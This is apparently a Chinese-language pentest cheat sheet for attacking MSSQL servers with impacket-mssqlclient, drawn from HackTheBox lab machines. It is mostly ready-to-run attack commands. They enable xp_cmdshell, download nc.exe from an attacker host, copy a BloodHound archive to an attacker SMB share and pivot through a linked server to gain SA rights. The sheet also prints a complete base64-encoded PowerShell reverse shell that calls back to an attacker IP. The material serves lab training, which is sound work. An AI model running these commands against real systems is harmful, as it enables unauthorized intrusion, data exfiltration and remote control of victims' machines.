Impacket 包自带
#连接(也支持用哈希)
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102' -windows-auth
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
先看自己是不是 SA
权限,不然无法开启 xp_cmdshell
也就无法执行命令
enable_xp_cmdshell #开启xp_cmdshell
#执行命令 下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'
#弹shell
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0...
EXEC xp_cmdshell 'copy c:\users\mssqlsvc\20251011221915_BloodHound.zip \\10.10.14.58\share\bloodhound.zip'
1:先用 enum_links
枚举是否有链接服务器(跨域信任关系)
- 这里有一个指向
DC02.darkzero.ext
的链接服务器- 在
DC01
上的用户为darkzero\john.w
,切换到DC02
后继承dc01_sql_svc
的权限
2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w
用户在DC01的mssql的角色为 guest
但在 DC02
的mssql服务上的角色是 SA
)
use_link [DC02.darkzero.ext]
3:提权执行命令反弹shell
enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.58/nc.exe -Outfile c:\users\mssqlsvc\nc.exe"'
#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAIAAxADAALgAxADAALgAxADQALgA2ADIAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
后续就是进行信息收集然后根据情况而定
┌──(root㉿kali)-[~/Desktop/htb/Scrambled]
└─# impacket-mssqlclient -k -no-pass scrm.local/ksimpson@DC1.scrm.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
用户没有权限访问mssql
可以尝试使用 【SPN】impacket-GetUserSPNs